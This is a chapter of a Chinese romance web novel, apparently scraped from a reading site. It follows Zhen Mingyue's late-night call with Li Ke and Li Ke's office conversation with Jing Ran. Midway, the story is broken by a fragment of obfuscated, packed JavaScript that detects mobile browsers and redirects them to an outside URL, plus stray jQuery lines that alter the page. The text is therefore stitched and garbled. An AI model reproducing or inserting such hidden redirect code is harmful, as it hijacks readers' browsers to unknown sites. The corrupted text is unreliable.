枕明月收到这句话的时候寝室刚好熄灯,周围漆黑一片,只有手机屏幕反射出微弱光亮。
他确实被突如其来的黑暗吓到了,拿着手机的手也缩紧了些,微信紧接着弹出了下一条消息:
[要不要打电话]
枕明月下意识屏息,喜悦还没涌上来就被浓重的失望压了回去,他在黑暗中捱下长垂的睫毛,打字回黎恪:[可是我听不见。]
他发过去的下一秒,黎恪的消息就弹出来:
[就挂着,我也不说话,陪你到雨停为止]
没等他回答,黎恪的语音的先弹出来,语音提醒的震动几乎快要把到枕明月的手掌震得发麻。
枕明月缓缓接通了语音。
界面开始记录两个人的通话时间,却没有任何声音。
手机微微震动,消息再一次弹出来:[别害怕,困了就睡,我一直在。]
[晚安,小月亮。]
生硬死板的文字安静躺在对话框中,枕明月感觉自己的心跳正在“砰、砰、砰”地急切跳动。
他盯着这句话,视线里的文字与色彩糅杂在一起,逐渐变的模糊。
于是他闭上眼睛又睁开,指尖缓而慢地打下了几个字:
[晚安,哥哥。]
寝室陷入了浓稠的黑暗中,这个时间其他室友已经睡着了。
枕明月一动不动地躺着,随着视线习惯了环境的他已经隐隐能够看见天花板的轮廓。
他漫无目的地盯了一会天花板,直到眼睛开始酸涩才闭上眼。
他不知道电话另一头的黎恪有没有说话,但是想到此时此刻的黎恪也在手机前,他也生出一种黎恪就在他身边,像不久前每个雨夜的晚上那样,甚至出现了能感受到黎恪炙热的呼吸的幻觉。
枕明月把手机放在了胸口的位置,任由浓稠的黑暗把自己完完全全地吞没。
雨下了一整个晚上,枕明月这晚一夜好梦。
“做什么梦呢?”
文件被甩在桌子上,法务经理劈头盖脸对职员一顿臭骂:“破绽这么大的文件你也能过审?那群业务都是什么人你不知道吗?你专业还是他们专业?你知不知因为你的失误直接造成了公司多少损失?是不是没睡醒啊你!”
“我错了经理!我真的是没注意..公司的损失我会承担的..”
“你承担?三百万!整整三百万!你怎么承担?”
黎恪从门外进来的时候就看见这幅场景。
他扫了一眼,抬腿走到井然工位旁的沙发坐下:“呦,一早大这么热闹?”
法务经理看见他进来,面露诧异,立刻叫了一声:“二少来了。”
“早啊张经理。”
“您早。”
黎恪睨了眼快被骂哭的男生,胸牌上还挂着实习两个字。
他笑道:“说什么呢,让我也听听。”
张经理顿住,没想到这位二世祖会问公司的事情,他顿时紧张,斟酌挑了简单的过程和他说。
“是一个实习生工作的漏洞,我很快就处理,二少放心。”
张经理边说边观察黎恪的表情,他暗暗打量这位二世祖,和传闻中一样长了一副薄情风流相,不知道今天是抽了哪门子的疯竟然来公司了。
见黎恪只淡淡的应了一声,像是不感兴趣,他立刻向黎恪和井然说道:“既然这样我就先回去工作了,二少,井总。”
一直没出声的井然低头捏了眉心,温声道好。
他们走后,井然依旧没有抬头,只是语气疲倦:“张经理和合作公司早就暗地勾结,甚至在暗中卖股,我最近正在处理他的事。”
黎恪自顾自地靠在沙发上,随手从果盘里拿了个橘子拨开:“难怪我爸喜欢你,替他处理这么多麻烦。”
提到黎霆均,井然突然想到上次黎叔叔的大发雷霆,他问黎恪:“枕明月还在你家?前不久你收购了冯家,闹得事情很大,他知道这件事么?”
黎恪懒懒道:“小月亮不需要知道。”
这个称呼从他嘴里说出来再平常不过,可井然眉头皱得更深,不光是他,所有人都觉得黎家的二少爷对枕明月感情不一般。
为此他确认般的不动声色试探:“你对他是不是太好了?”
好么?
黎恪回想起和枕明月的相处,他记忆最深的几个画面是枕明月刚到家里来的那段时间,像只过分警惕的兔子,稍有风吹草动就会应激,跟他熟一些的时候才对他渐渐放松了警戒。
瘦弱的少年蜷缩在床上掉眼泪的情景历历在目,送他画时小心翼翼的神情足够触动一个硬心肠的人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564587|185709||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>只是这只兔子太花心,分明住在他家,还要想着别人。
黎恪没发现自己这么小气。
他笑了下,反问井然:“难道我对你很差?”
“这不一样。”
“哪不一样?你是朋友,他是弟弟。”
井然抿唇,“只是弟弟?”
“还能是什么,金屋藏娇的情人?”黎恪正视他,唇角的笑褪了下去:“别恶心我,禽兽的事情我做不出来。”
话题结束的很干脆,井然见他的态度心里松了口,他也不再继续说这件事,转而问:“你今天怎么来了?”
黎恪看似随意答道:“哦,这个,听说有人和小黎总吵架了,我来当这个人同仇敌忾并且善于倾听的小姐妹。
被随意抛出来的话使井然抬头,他下颌线不自觉收紧,挺直的背部线条僵硬,半垂眼凝着黎恪。
“黎谨让你来的?”
“你当我是三岁小孩,他让我来我就来?”
“除了他还会是谁。”
“我来找我的朋友,我的嫂子,我的小姐妹,还需要谁的指使我才能来?”
“...”井然沉默片刻,所有由黎谨带给他的烦躁变成了忍无可忍:“你真应该把你的中文回炉重造。”
黎恪真诚回答:“我会认真考虑,但我觉得没必要。”眼见要把井然的耐心耗光,黎恪终于笑着解释:“好吧,不是黎谨,是黎霆均问我你最近是不是在忙,已经很久没过去看他。”
“你知道,他认为我们穿了一条裤子。”黎恪意有所指:“可穿一条裤子的另有其人,黎谨如果欺负你,你完全可以告诉我。”
和另一个人之间的感情是井然迈不过去的槛,他和黎家的关系已经不能用有恩来形容,他如同一藤菟丝花攀附与黎家的枝桠,在阳光照射不到的阴影中与黎谨交织在一起。
他们是永远都见不得光的关系。
井然半垂着眼,把脑中那些令他头痛的过往短暂抽离出思绪,他手指轻叩桌面,对黎恪说:“告诉你,然后呢?”
没人能解决他们之间的事情。
黎恪剥了橘子皮,又开始挑橘子瓣上的白色脉络,他的动作不急不缓,橘子被他拿在手里像是一件艺术品。
他抬头,思考片刻,给出可靠答案:“我可以替你揍他。”